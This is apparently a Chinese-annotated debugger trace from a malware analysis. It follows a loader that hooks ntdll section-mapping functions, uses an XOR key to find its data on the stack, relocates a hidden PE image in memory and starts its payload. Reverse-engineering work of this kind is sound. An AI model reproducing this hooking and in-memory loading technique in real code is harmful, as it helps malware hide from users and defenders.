002E0342 AD lods dword ptr ds:[esi] //取栈里面数据 002E0343 35 DD7919AE xor eax,0xAE1979DD。 002E0348 8D40 04 lea eax,dword ptr ds:[eax+0x4] ;eax = 0xae0b82e1 002E034B 3BC6 cmp eax,esi 002E034D ^ 75 EF jnz short 002E033E // 不断的比较 eax 是否等于 12fa10;在130000 ~ 12fa10区间 002E034F 8D46 FC lea eax,dword ptr ds:[esi-0x4] 002E0352 EB 02 jmp short 002E0356 002E0354 33C0 xor eax,eax // 没找到 002E0356 8BD0 mov edx,eax //比较成功,此时运行到这里,eax = 12fd20 002E0358 5F pop edi ; 0012F9DC 002E0359 5E pop esi ; 0012F9DC 002E035A 58 pop eax ; 0012F9DC 002E035B C3 retn // 返回到002E0121 002E0121 85D2 test edx,edx // edx = 12fd20 002E0123 74 13 je short 002E0138 002E0125 52 push edx 002E0126 8B52 08 mov edx,dword ptr ds:[edx+0x8] ;对应的是0x34 002E0129 3B5424 0C cmp edx,dword ptr ss:[esp+0xC]。;[esp+0c] = 0x34 002E012D 75 08 jnz short 002E0137 002E012F C74424 30 40000>mov dword ptr ss:[esp+0x30],0x40 002E0137 5A pop edx ; ntdll.77215C34 002E0138 52 push edx 002E0139 E8 1E020000 call 002E035C 002E035C E8 00000000 call 002E0361 // 重定位得到 edx = 2e0485 002E0361 5A pop edx ; 002E013E 002E0362 81C2 24010000 add edx,0x124 002E0368 C3 retn ;跳向0x2e013e 002E013E 837A 04 00 cmp dword ptr ds:[edx+0x4],0x0. ;[edx+4] = 0 002E0142 75 09 jnz short 002E014D 002E0144 5A pop edx ; 0012FD20 002E0145 8D5424 08 lea edx,dword ptr ss:[esp+0x8]. ;edx = ffffffff 002E0149 CD 2E int 0x2E 002E014B EB 0C jmp short 002E0159 002E0159 85C0 test eax,eax 002E015B 75 23 jnz short 002E0180 002E015D E8 B8010000 call 002E031A //跳 //这里 002E031A 50 push eax // eax = 0 002E031B 56 push esi // esi = 7ffdf000 - 指向teb 002E031C 57 push edi // edi = 12fb00 ( 指向了1520000 -> 这里已经被main dll PE文件给映射) 002E031D 51 push ecx // ecx = 10b0001 002E031E 52 push edx // edx = ffffffff 002E031F 83EC 1C sub esp,0x1C 002E0322 8BC4 mov eax,esp 002E0324 6A 1C push 0x1C 002E0326 50 push eax 002E0327 54 push esp 002E0328 E8 2F000000 call 002E035C ;跳 002E035C E8 00000000 call 002E0361 002E0361 5A pop edx ; 002E032D 002E0362 81C2 24010000 add edx,0x124 002E0368 C3 retn ; 跳这里 002E014D 5A pop edx ; 0012F000 002E014E 8D5424 08 lea edx,dword ptr ss:[esp+0x8] 002E0152 64:FF15 C000000>call dword ptr fs:[0xC0] 002E0159 85C0 test eax,eax 002E015B 75 23 jnz short 002E0180 002E015D E8 B8010000 call 002E031A 002E0162 85D2 test edx,edx ; large.10002334 002E0164 74 18 je short 002E017E 002E0166 8B52 08 mov edx,dword ptr ds:[edx+0x8] 002E0169 3B5424 08 cmp edx,dword ptr ss:[esp+0x8] 002E016D 75 0F jnz short 002E017E 002E016F 8B5424 10 mov edx,dword ptr ss:[esp+0x10] 002E0173 52 push edx ; large.10002334 002E0174 E8 A1010000 call 002E031A 002E0179 8B52 0C mov edx,dword ptr ds:[edx+0xC] / 002E017C FFD2 call edx ; 指向.10002334 函数 // 分析可得知 10002334 这个函数是实现重定位修正的功能,通过对1520000 -> 这个main dll PE 映像进行重定位修正。 10002334 /. 55 push ebp 10002335 |. 8BEC mov ebp,esp 10002337 |. 83EC 2C sub esp,0x2C 1000233A |. 837D 08 00 cmp [arg.1],0x0 1000233E |. 74 08 je short large.10002348 10002340 |. 8B45 08 mov eax,[arg.1] 10002343 |. 8338 00 cmp dword ptr ds:[eax],0x0 10002346 |. 75 0A jnz short large.10002352 10002348 |> B8 050000C0 mov eax,0xC0000005 1000234D |. E9 3D010000 jmp large.1000248F 10002352 |> 8B45 08 mov eax,[arg.1] 10002355 |. 8B00 mov eax,dword ptr ds:[eax] 10002357 |. 8945 F8 mov [local.2],eax 1000235A |. 8B45 F8 mov eax,[local.2] 1000235D |. 8945 F4 mov [local.3],eax 10002360 |. 8B45 F4 mov eax,[local.3] ;此时eax 指向 1520000 这个PE 映射内存 10002363 |. 0FB700 movzx eax,word ptr ds:[eax] 10002366 |. 3D 4D5A0000 cmp eax,0x5A4D // 判断是否是PE 文件 1000236B |. 74 0A je short large.10002377 1000236D |. B8 050000C0 mov eax,0xC0000005 10002372 |. E9 18010000 jmp large.1000248F 10002377 |> 8B45 F4 mov eax,[local.3] 1000237A |. 8B4D F8 mov ecx,[local.2] 1000237D |. 0348 3C add ecx,dword ptr ds:[eax+0x3C] 10002380 |. 894D EC mov [local.5],ecx 10002383 |. 8B45 EC mov eax,[local.5] 10002386 |. 8B4D F8 mov ecx,[local.2] 10002389 |. 2B48 34 sub ecx,dword ptr ds:[eax+0x34] 1000238C |. 894D F0 mov [local.4],ecx 1000238F |. 75 07 jnz short large.10002398 10002391 |. 33C0 xor eax,eax 10002393 |. E9 F7000000 jmp large.1000248F 10002398 |> 8B45 EC mov eax,[local.5] 1000239B |. 8B4D F8 mov ecx,[local.2] 1000239E |. 8948 34 mov dword ptr ds:[eax+0x34],ecx 100023A1 |. 8B45 EC mov eax,[local.5] 100023A4 |. 83B8 A4000000>cmp dword ptr ds:[eax+0xA4],0x0 100023AB |. 75 0A jnz short large.100023B7 100023AD |. B8 180000C0 mov eax,0xC0000018 100023B2 |. E9 D8000000 jmp large.1000248F 100023B7 |> 8B45 EC mov eax,[local.5] 100023BA |. 8B4D F8 mov ecx,[local.2] 100023BD |. 0388 A0000000 add ecx,dword ptr ds:[eax+0xA0] 100023C3 |. 894D FC mov [local.1],ecx 100023C6 |> 8B45 FC /mov eax,[local.1] 100023C9 |. 8378 04 00 |cmp dword ptr ds:[eax+0x4],0x0 100023CD |. 0F84 BA000000 |je large.1000248D 100023D3 |. 8B45 FC |mov eax,[local.1] 100023D6 |. 8B40 04 |mov eax,dword ptr ds:[eax+0x4] 100023D9 |. 83E8 08 |sub eax,0x8 100023DC |. 8945 E0 |mov [local.8],eax 100023DF |. 8B45 E0 |mov eax,[local.8] 100023E2 |. D1E8 |shr eax,1 100023E4 |. 8945 E8 |mov [local.6],eax 100023E7 |. 8B45 FC |mov eax,[local.1] 100023EA |. 83C0 08 |add eax,0x8 100023ED |. 8945 DC |mov [local.9],eax 100023F0 |. 8B45 E0 |mov eax,[local.8] 100023F3 |. 33D2 |xor edx,edx ; large.10002334 100023F5 |. 6A 02 |push 0x2 100023F7 |. 59 |pop ecx ; 0012F000 100023F8 |. F7F1 |div ecx 100023FA |. 85D2 |test edx,edx ; large.10002334 100023FC |. 74 0A |je short large.10002408 100023FE |. B8 180000C0 |mov eax,0xC0000018 10002403 |. E9 87000000 |jmp large.1000248F 10002408 |> 8365 E4 00 |and [local.7],0x0 1000240C |. EB 07 |jmp short large.10002415 1000240E |> 8B45 E4 |/mov eax,[local.7] 10002411 |. 40 ||inc eax 10002412 |. 8945 E4 ||mov [local.7],eax 10002415 |> 8B45 E4 | mov eax,[local.7] 10002418 |. 3B45 E8 ||cmp eax,[local.6] 1000241B |. 73 5F ||jnb short large.1000247C 1000241D |. 8B45 FC ||mov eax,[local.1] 10002420 |. 8B4D F8 ||mov ecx,[local.2] 10002423 |. 0308 ||add ecx,dword ptr ds:[eax] // 读取映像基地址 + 要修正的偏移 10002425 |. B8 FF0F0000 ||mov eax,0xFFF 1000242A |. 8B55 DC ||mov edx,[local.9] 1000242D |. 66:2302 ||and ax,word ptr ds:[edx] 10002430 |. 0FB7C0 ||movzx eax,ax 10002433 |. 03C8 ||add ecx,eax 10002435 |. 894D D8 ||mov [local.10],ecx 10002438 |. 8B45 DC ||mov eax,[local.9] 1000243B |. 66:8B00 ||mov ax,word ptr ds:[eax] 1000243E |. 66:C1E8 0C ||shr ax,0xC 10002442 |. 66:83E0 0F ||and ax,0xF 10002446 |. 0FB7C0 ||movzx eax,ax 10002449 |. 8945 D4 ||mov [local.11],eax 1000244C |. 837D D4 00 ||cmp [local.11],0x0 10002450 |. 74 08 ||je short large.1000245A 10002452 |. 837D D4 03 ||cmp [local.11],0x3 10002456 |. 74 04 ||je short large.1000245C 10002458 |. EB 11 ||jmp short large.1000246B 1000245A |> EB 16 ||jmp short large.10002472 1000245C |> 8B45 D8 ||mov eax,[local.10] 1000245F |. 8B00 ||mov eax,dword ptr ds:[eax] 10002461 |. 0345 F0 ||add eax,[local.4] 10002464 |. 8B4D D8 ||mov ecx,[local.10] 10002467 |. 8901 ||mov dword ptr ds:[ecx],eax 10002469 |. EB 07 ||jmp short large.10002472 1000246B |> B8 180000C0 ||mov eax,0xC0000018 10002470 |. EB 1D ||jmp short large.1000248F 10002472 |> 8B45 DC ||mov eax,[local.9] 10002475 |. 40 ||inc eax 10002476 |. 40 ||inc eax 10002477 |. 8945 DC ||mov [local.9],eax 1000247A |.^ EB 92 |\jmp short large.1000240E 1000247C |> 8B45 FC |mov eax,[local.1] 1000247F |. 8B40 04 |mov eax,dword ptr ds:[eax+0x4] 10002482 |. 0345 FC |add eax,[local.1] 10002485 |. 8945 FC |mov [local.1],eax 10002488 |.^ E9 39FFFFFF \jmp large.100023C6 1000248D |> 33C0 xor eax,eax 1000248F |> C9 leave 10002490 \. C2 0400 retn 0x4 10002493 /$ 55 push ebp 10002494 |. 8BEC mov ebp,esp 10002496 |. 56 push esi 10002497 |. 57 push edi 10002498 |. 8B7D 08 mov edi,[arg.1] 1000249B |. 8B75 0C mov esi,[arg.2] ; ntdll.77215C34 1000249E |. 8B4D 10 mov ecx,[arg.3] ; ntdll.7723067D 100024A1 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[> 100024A3 |. 5F pop edi ; 0012F000 100024A4 |. 5E pop esi ; 0012F000 100024A5 |. 5D pop ebp ; 0012F000 100024A6 \. C3 retn //重定位后,回到这里 002E017C FFD2 call edx 002E017E 33C0 xor eax,eax 002E0180 C3 retn //回到这里ZwMapViewOfSection 77215C28 > B8 A8000000 mov eax,0xA8 77215C2D BA 44001D77 mov edx,ntdll.771D0044 77215C32 FFD2 call edx 77215C34 C2 2800 retn 0x28 // 这里是被hook 修改的,原本的样子 .text:77F05C28 mov eax, 0A8h ; NtMapViewOfSection .text:77F05C2D mov edx, 7FFE0300h .text:77F05C32 call dword ptr [edx] .text:77F05C34 retn 28h .text:77F05C34 ZwMapViewOfSection endp 继续在loadlibrary里面的流程执行,中间回调用到zwquerysection,这里已经被劫持为771D0058的asm code 片段 77216188 > B8 FE000000 mov eax,0xFE 7721618D BA 58001D77 mov edx,ntdll.771D0058 77216192 FFD2 call edx 77216194 C2 1400 retn 0x14 // 因故,会再次执行解密0xAE1979DD 002E02AD 85D2 test edx,edx 002E02AF 52 push edx 002E02B0 74 45 je short 002E02F7 002E02B2 8B52 08 mov edx,dword ptr ds:[edx+0x8] 002E02B5 3B5424 0C cmp edx,dword ptr ss:[esp+0xC] 002E02B9 75 3C jnz short 002E02F7 002E02BB 837C24 10 01 cmp dword ptr ss:[esp+0x10],0x1 ; 跳。[esp+0x10]=2; 002E02C0 75 35 jnz short 002E02F7 002E02C2 837C24 18 30 cmp dword ptr ss:[esp+0x18],0x30 002E02C7 7C 27 jl short 002E02F0 //到这里 002E02F7 5A pop edx ; 0012FD20 002E02F8 52 push edx 002E02F9 E8 5E000000 call 002E035C //重定位 002E02F7 5A pop edx ; 0012FD20 002E02F8 52 push edx 002E02F9 E8 5E000000 call 002E035C 002E02FE 837A 04 00 cmp dword ptr ds:[edx+0x4],0x0 002E0302 75 09 jnz short 002E030D 002E0304 5A pop edx ; 0012FD20 002E0305 8D5424 08 lea edx,dword ptr ss:[esp+0x8] 002E0309 CD 2E int 0x2E ; eax = fe, edx = 12fa78 002E030B EB 0C jmp short 002E0319 //返回到被 hooked 的 zwQuerySecton 77216188 > B8 FE000000 mov eax,0xFE 7721618D BA 58001D77 mov edx,ntdll.771D0058 77216192 FFD2 call edx 77216194 C2 1400 retn 0x14 //进而zwclose在被调用,再次进入ntdll 头部的被改写的asm code 771D0050 B2 03 mov dl,0x3 771D0052 EB 08 jmp short ntdll.771D005C 771D0054 B2 04 mov dl,0x4 771D0056 EB 04 jmp short ntdll.771D005C 771D0058 B2 05 mov dl,0x5 771D005A EB 00 jmp short ntdll.771D005C 771D005C 52 push edx ; ntdll.771D0003 771D005D E8 04000000 call ntdll.771D0066 // 执行771d0066 后,来到这里 002E00F2 5A pop edx ; ntdll.771D0003 002E00F3 84D2 test dl,dl 002E00F5 74 25 je short 002E011C 002E00F7 FECA dec dl 002E00F9 0F84 82000000 je 002E0181 002E00FF FECA dec dl 002E0101 0F84 BB000000 je 002E01C2 002E0107 FECA dec dl 002E0109 0F84 FE000000 je 002E020D 002E010F FECA dec dl 002E0111 0F84 40010000 je 002E0257 002E0117 E9 8C010000 jmp 002E02A8 002E011C E8 F9010000 call 002E031A //跳到这里 002E021A E8 FB000000 call 002E031A 002E021F 85D2 test edx,edx ; ntdll. //这里 002E031A 50 push eax 002E031B 56 push esi 002E031C 57 push edi 002E031D 51 push ecx 002E031E 52 push edx ; ntdll. 002E031F 83EC 1C sub esp,0x1C 002E0322 8BC4 mov eax,esp 002E0324 6A 1C push 0x1C 002E0326 50 push eax 002E0327 54 push esp 002E0328 E8 2F000000 call 002E035C //执行到这里 002E035C E8 00000000 call 002E0361 002E0361 5A pop edx ; 002E032D 002E0362 81C2 24010000 add edx,0x124 002E0368 C3 retn // 重新这里循环 002E032D FF52 0C call dword ptr ds:[edx+0xC] ; kernel32.VirtualQuery 002E0330 8B3C24 mov edi,dword ptr ss:[esp] 002E0333 037C24 0C add edi,dword ptr ss:[esp+0xC] 002E0337 83C4 1C add esp,0x1C 002E033A 5A pop edx ; 0012FA44 002E033B 59 pop ecx ; 0012FA44 002E033C 8BF4 mov esi,esp 002E033E 3BF7 cmp esi,edi 002E0340 73 12 jnb short 002E0354 002E0342 AD lods dword ptr ds:[esi] 002E0343 35 DD7919AE xor eax,0xAE1979DD 002E0348 8D40 04 lea eax,dword ptr ds:[eax+0x4] 002E034B 3BC6 cmp eax,esi 002E034D ^ 75 EF jnz short 002E033E 002E034F 8D46 FC lea eax,dword ptr ds:[esi-0x4] 002E0352 EB 02 jmp short 002E0356 002E0354 33C0 xor eax,eax 002E0356 8BD0 mov edx,eax 002E0358 5F pop edi ; 0012FA44 002E0359 5E pop esi ; 0012FA44 002E035A 58 pop eax ; 0012FA44 002E035B C3 retn // 002E021F 85D2 test edx,edx 002E0221 74 12 je short 002E0235 002E0223 50 push eax 002E0224 8B4424 0C mov eax,dword ptr ss:[esp+0xC] 002E0228 3942 08 cmp dword ptr ds:[edx+0x8],eax 002E022B 75 07 jnz short 002E0234 002E022D C742 08 0000000>mov dword ptr ds:[edx+0x8],0x0 002E0234 58 pop eax ; ntdll.772154D4 002E0235 52 push edx 002E0236 E8 21010000 call 002E035C // 002E035C E8 00000000 call 002E0361 002E0361 5A pop edx ; 002E023B 002E0362 81C2 24010000 add edx,0x124 002E0368 C3 retn // 002E023B 837A 04 00 cmp dword ptr ds:[edx+0x4],0x0 002E023F 75 09 jnz short 002E024A 002E0241 5A pop edx ; ntdll.772154D4 002E0242 8D5424 08 lea edx,dword ptr ss:[esp+0x8] 002E0246 CD 2E int 0x2E 002E0248 EB 0C jmp short 002E0256 002E024A 5A pop edx ; ntdll.772154D4 002E024B 8D5424 08 lea edx,dword ptr ss:[esp+0x8] 002E024F 64:FF15 C000000>call dword ptr fs:[0xC0] 002E0256 C3 retn ; 跳回zwclose 002E0257 E8 BE000000 call 002E031A // 运行到这里 002E020D 817C24 08 AE821>cmp dword ptr ss:[esp+0x8],0xAE1982AE 002E0215 75 03 jnz short 002E021A 002E0217 33C0 xor eax,eax 002E0219 C3 retn // 这里 002E011C E8 F9010000 call 002E031A // 002E031A 50 push eax 002E031B 56 push esi 002E031C 57 push edi 002E031D 51 push ecx 002E031E 52 push edx ; ntdll. 002E031F 83EC 1C sub esp,0x1C 002E0322 8BC4 mov eax,esp 002E0324 6A 1C push 0x1C 002E0326 50 push eax 002E0327 54 push esp 002E0328 E8 2F000000 call 002E035C // 002E035C E8 00000000 call 002E0361 002E0361 5A pop edx ; 002E032D 002E0362 81C2 24010000 add edx,0x124 // 似乎是不停扽在这里循环调用这些片段代码,但含义却并不十分清晰 Stack ss:[0012FAC8]=00360034 eax=00351000, (UNICODE "C:\WORK\KERNEL32.DLL.ASLR.04a6fe30") 加载的是这个,但没有 跳转到这里,这里就是模拟loadlibrary的payload 文件的入口,至此,payload 就开始运行了。